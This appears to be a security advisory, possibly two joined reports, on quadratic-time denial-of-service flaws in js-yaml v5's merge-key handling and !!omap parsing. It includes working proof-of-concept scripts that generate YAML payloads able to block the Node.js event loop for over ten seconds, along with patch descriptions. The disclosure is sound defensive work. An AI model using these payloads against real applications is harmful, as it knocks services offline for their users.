Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

yaml a0: &a0 { k0: 0 } a1: &a1 { <<: a0, k1: 1 } a2: &a2 { <<: a1, k2: 2 } a3: &a3 { <<: a2, k3: 3 } ... b: aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

js import { performance } from 'node:perfhooks' import { Buffer } from 'node:buffer' import { load, YAML11SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }']

for (let i = 1; i < count; i++) { lines.push(a${i}: &a${i} { <<: a${i - 1}, k${i}: ${i} }) }

lines.push(b: a${count - 1}) return ${lines.join('\n')}\n }

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(N: ${n}) console.log(YAML size: ${Buffer.byteLength(source)} bytes)

const started = performance.now() const result = load(source, { schema: YAML11SCHEMA }) const elapsed = performance.now() - started

console.log(parse time: ${elapsed.toFixed(1)} ms) console.log(top-level keys: ${Object.keys(result).length}) console.log(b keys: ${Object.keys(result.b).length})

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Summary js-yaml v5.x introduces YAML11SCHEMA support with the !!omap (ordered map) tag. The omapTag.addItem() function performs a linear O(n) scan for duplicate key detection on every insertion, resulting in O(n^2) total time to parse a document with n omap entries. An attacker can send a small crafted YAML document to trigger a multi-second CPU stall in any application that uses yaml.load() with { schema: yaml.YAML11SCHEMA }.

Details In src/tag/sequence/omap.ts (compiled: dist/js-yaml.cjs.js:510-525): js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => [], addItem: (container, item) => { // ... for (const existing of container) // O(n) per insertion! if (hasOwnProperty(existing, itemKeys[0])) return 'cannot resolve an ordered map item'; container.push(object); // n insertions → O(n^2) total return ''; } }); For a document with n unique entries, insertion i scans i−1 existing entries, yielding 1+2+…+n = O(n²) total work.

PoC (runtime-confirmed on v5.2.0) js const yaml = require('js-yaml'); function buildOmapPayload(n) { let p = '!!omap\n'; for (let i = 0; i < n; i++) p += '- key' + i + ': val' + i + '\n'; return p; } // Timing results on v5.2.0: // n=1000: 9ms // n=5000: 73ms (5x n → 8x time) // n=10000: 255ms (2x n → 3.5x time — supralinear) // n=20000: 997ms (2x n → 3.9x time — O(n²) confirmed) // n=50000: 10613ms ← blocks event loop for >10 seconds yaml.load(buildOmapPayload(50000), { schema: yaml.YAML11SCHEMA });

Impact Any application that parses untrusted YAML using yaml.load(input, { schema: yaml.YAML11SCHEMA }) is vulnerable to Denial of Service. A ~2 MB payload of 50,000 entries blocks the Node.js event loop for 10+ seconds. Smaller payloads (5,000 entries, ~100 KB) already cause noticeable slowdowns (73 ms per parse, amplified under concurrent load).

This affects the newly released 5.x series (first published 2026-06-20) which adds YAML 1.1/1.2 schema support including !!omap. The 4.x series is unaffected (no YAML11SCHEMA export).

Fix Replace the O(n) linear scan in addItem with an O(1) Set-based lookup: js var omapTag = defineSequenceTag('tag:yaml.org,2002:omap', { create: () => ({ list: [], seen: new Set() }), addItem: (state, item) => { const key = Object.keys(item)[0]; if (state.seen.has(key)) return 'duplicate omap key'; state.seen.add(key); state.list.push(item); return ''; }, resolve: (state) => state.list });